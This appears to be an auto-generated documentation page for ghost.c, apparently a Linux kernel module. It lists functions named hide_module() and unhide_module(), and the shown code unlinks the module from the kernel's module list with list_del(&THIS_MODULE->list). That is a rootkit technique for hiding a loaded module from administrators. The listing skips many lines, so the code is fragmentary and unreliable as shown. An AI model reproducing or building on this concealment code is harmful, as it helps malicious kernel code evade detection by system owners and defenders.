Go to the source code of this file.
◆ DEFINE_SPINLOCK()
| static DEFINE_SPINLOCK |
( |
hide_lock |
| ) |
|
|
static |
◆ hide_module()
Definition at line 7 of file ghost.c.
7 {
8 unsigned long flags;
9
10 spin_lock_irqsave(&hide_lock, flags);
12 spin_unlock_irqrestore(&hide_lock, flags);
14 }
15
17 list_del(&THIS_MODULE->list);
19
20 spin_unlock_irqrestore(&hide_lock, flags);
22}
static struct list_head * prev_module
static bool module_hidden
◆ unhide_module()
| int unhide_module |
( |
void |
| ) |
|
Definition at line 24 of file ghost.c.
24 {
25 unsigned long flags;
26
27 spin_lock_irqsave(&hide_lock, flags);
29 spin_unlock_irqrestore(&hide_lock, flags);
31 }
32
35
36 spin_unlock_irqrestore(&hide_lock, flags);
38}
◆ module_hidden
| bool module_hidden = false |
|
static |
◆ prev_module
| struct list_head* prev_module |
|
static |